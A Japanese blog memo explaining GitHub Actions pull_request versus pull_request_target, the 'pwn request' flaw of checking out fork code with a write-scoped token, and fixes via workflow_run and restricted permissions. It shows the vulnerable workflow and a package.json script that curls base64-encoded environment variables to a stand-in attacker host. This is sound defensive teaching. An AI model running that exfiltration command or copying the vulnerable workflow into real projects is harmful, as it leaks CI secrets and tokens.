Carpe Diem

備忘録

pull_request と pull_request_target の違いとセキュリティ上の注意点

背景

依存しているライブラリに次のようなコードがありました。
※簡単のためシンプルにしています

on: pull_request_target

jobs:
  coverage:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - run: npm ci && npm run test:coverage

      - uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: 'Coverage report generated'
            });

一見テストを実行してテストカバレッジをPRにコメントしているだけのCIですが、セキュリティ的には大きな問題があります。

大きく2つの問題点があります。

  • pull_request_targetを使っているのにPR元のコードを参照している
  • permissionsで権限を制限していない

これらの詳細について、pull_request, pull_request_target の使い分けを踏まえながら説明していきます。

pull_request と pull_request_target

まず先にpull_request と pull_request_targetの違いについて説明します。

設計思想

それぞれの設計思想は次のようになっています。

  • pull_request:PR元の workflowを実行する。ただし権限は弱め(特にfork)
  • pull_request_target:PR先(main/master)の workflowを実行する。ただし権限は強め

比較表

より詳細な比較は次の通りです。

特徴 pull_request (fork PR) pull_request (同一repo PR) pull_request_target
ワークフロー定義 PR元 (Head) PR元 (Head) PR先 (Base=main/master)
実行コード PR元コード PR元コード デフォルト Base コード。
PR元コードも実行可能
GITHUB_TOKEN read 権限 write 権限 write 権限
Secrets 利用不可 利用可能 利用可能
workflow 改ざん耐性 ❌ PR側で変更可能 ❌ PR側で変更可能 ✅ Base側 workflow を強制
untrusted code 実行 ✅ される ✅ される ⚠️ head checkout 時に成立
主用途 OSS CI internal CI metadata automation
安全な用途 build / test / lint build / test / lint label / comment / reviewer assign

これらを意識した上で使い分ける必要があります。

なぜ該当ライブラリはpull_request_targetを使っていたのか

該当ライブラリは、OSSであるためforkからPRが送られる形でした。一般的なOSSですね。

おそらくは「コードカバレッジを生成したい」という意図から、write権限を付与できるpull_request_targetを採用したのだと思われます。

問題点

では今回の問題点の詳細をそれぞれ説明します。

pull_request_targetを使っているのにPR元のコードを参照している

では具体的にどんな攻撃ができるのでしょうか?

PR元のコードを実行するようになっているので、攻撃者はCIやテストコードに悪意あるコード(シークレットを盗み出す、ブランチを消すなど)を埋め込むことが可能です。

on: pull_request_target

jobs:
  coverage:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          # PR元のコードをcheckout

      - run: npm ci && npm run test:coverage
        # 攻撃者の postinstall / test script が
        # write権限付き GITHUB_TOKEN を持つ環境で実行される

      - uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: 'Coverage report generated'
            });

例えばpackage.jsonに次のようなコードを埋め込んだPRを作ります。

{
  "scripts": {
    "test:coverage": "curl -X POST -d \"$(env | base64)\" https://attacker-evilsite.com/leak"
  }
}

そうすると、env コマンドで環境変数をすべて取得し、外部サーバーへ飛ばすことが可能になります。
これにより強い権限を持ったトークンが漏洩します。

このような

  • pull_request_target
  • PR元(head)の checkout
  • untrusted code execution

を組み合わせた脆弱な GitHub Actions workflow は、GitHub Security Lab では pwn requests と呼ばれています。

対応策

fork PRを受け入れる場合は、基本的にpull_requestを使います。
その上でコードカバレッジのようなコメントを残したい場合は、workflow_runを使います。

  1. pull_requestでビルド・テスト
  2. テストカバレッジ結果を成果物(アーティファクト)として残す
  3. workflow_runを起動
  4. 2で作った成果物を元にカバレッジコメントを投稿

具体的には次のようなCIになります。

ビルド・テスト

# .github/workflows/ci.yml
name: CI

on:
  pull_request:

permissions:
  contents: read

jobs:
  coverage:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-node@v4
        with:
          node-version: 20

      - run: npm ci
      - run: npm run test:coverage

      - uses: actions/upload-artifact@v4
        with:
          name: coverage-summary
          path: coverage/summary.json

カバレッジコメント

# .github/workflows/coverage-comment.yml
name: Coverage Comment

on:
  workflow_run:
    workflows: ["CI"]
    types: [completed]

permissions:
  actions: read
  contents: read
  pull-requests: write
  issues: write

jobs:
  comment:
    if: ${{ github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success' }}
    runs-on: ubuntu-latest

    steps:
      - uses: actions/download-artifact@v4
        with:
          name: coverage-summary
          path: coverage
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}

      - uses: actions/github-script@v7
        with:
          script: |
            const fs = require('fs');
            const summary = JSON.parse(
              fs.readFileSync('coverage/summary.json', 'utf8')
            );

            const pr = context.payload.workflow_run.pull_requests[0];

            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: pr.number,
              body: `Coverage: ${summary.total.lines.pct}%`
            });

permissionsで権限を制限していない

pull_requestであればread権限しか持たないGITHUB_TOKENになりますが、pull_request_targetの場合はwrite権限を持ってしまいます。

GITHUB_TOKENのデフォルト権限

write権限を持つ場合のGITHUB_TOKENのデフォルト権限は、次のように非常に強いです。

操作 可能? 備考
PR をクローズ ✅ 可能 pull-requests: write
PR にコメント投稿 ✅ 可能 social engineering に悪用可能
PR を approve ⚠️ 条件付き Allow GitHub Actions to create and approve pull requests が必要
PR を merge ⚠️ 条件付き Branch Protection Rules に依存
非保護ブランチへ push ✅ 可能 contents: write
保護ブランチへ へ push ⚠️ 条件付き Branch Protection Rules に依存
tag 作成 ✅ 可能 release 偽装に利用可能
Release 作成 ✅ 可能 マルウェア配布に悪用可能
ブランチ削除 ✅ 可能 contents: write
Issue 操作 ✅ 可能 close / reopen / spam 等
Workflow 改ざん ✅ 可能 .github/workflows/* を変更可能

見ての通りコードの改ざんやサプライチェーン攻撃がし放題になります。

対応策①

必ずpermissionsは設定するようにしましょう。

例えば元の定義も、コメントするのに最低限必要な権限にしておけばブランチの強制push・ブランチの削除といったことは防ぐことができます。

on: pull_request_target

permissions:
  contents: read
  pull-requests: write
  issues: write

対応策②

先ほどのデフォルト権限ですが、これはリポジトリの設定(Settings > Code and automation > Actions > General)で変更することが可能です。

このRead repository contents and packages permissionsの方にしておけば、permissionsを付けない場合のデフォルトの権限を弱めることが可能です。
この設定は2023/02/02以降に作ったリポジトリ・組織であればデフォルトでReadになっています。ただしそれ以前のリポジトリ・組織は互換性のためRead and Writeになっています。

Read repository contents の方に設定したとしても、Write権限は明示的につけることで利用可能です。

その他注意する点

pull_request_targetはどんな時に使う?

基本的に PR code を実行せず、PR metadata を使います。

ユースケース 具体例
Label 変更されたファイルパスに .md が含まれていれば documentation ラベルを付与する
Comment PRの本文がテンプレートに従っていない場合や、初めてのコントリビューターに対して、自動でコメントを投稿する
Reviewer assign 変更されたファイルのディレクトリに基づいて、特定のチームやユーザーをレビュアーとしてアサインする

他にはベースコードのシェルスクリプトを使ってLint処理をするなどがあるでしょう。

permissionsは設定したとしてもシークレットアクセスは可能

pull_request_targetの場合permissionsの指定をしたとしても、リポジトリシークレットへのアクセスは可能です。

なので1つ目のPRコードを参照するworkflow自体を解決していないと、GITHUB_TOKEN以外にもパブリッククラウドのサービスアカウントシークレットなど扱っている場合に取得・悪用が可能になります。

まとめ

pull_request, pull_request_target の使い分けについて説明しました。

重要なのは「どの trigger が危険か」ではなく、

  • 強い権限を持つ workflow
  • fork PRのような信頼できないコードの実行

を同じ job に置かないことです。

参考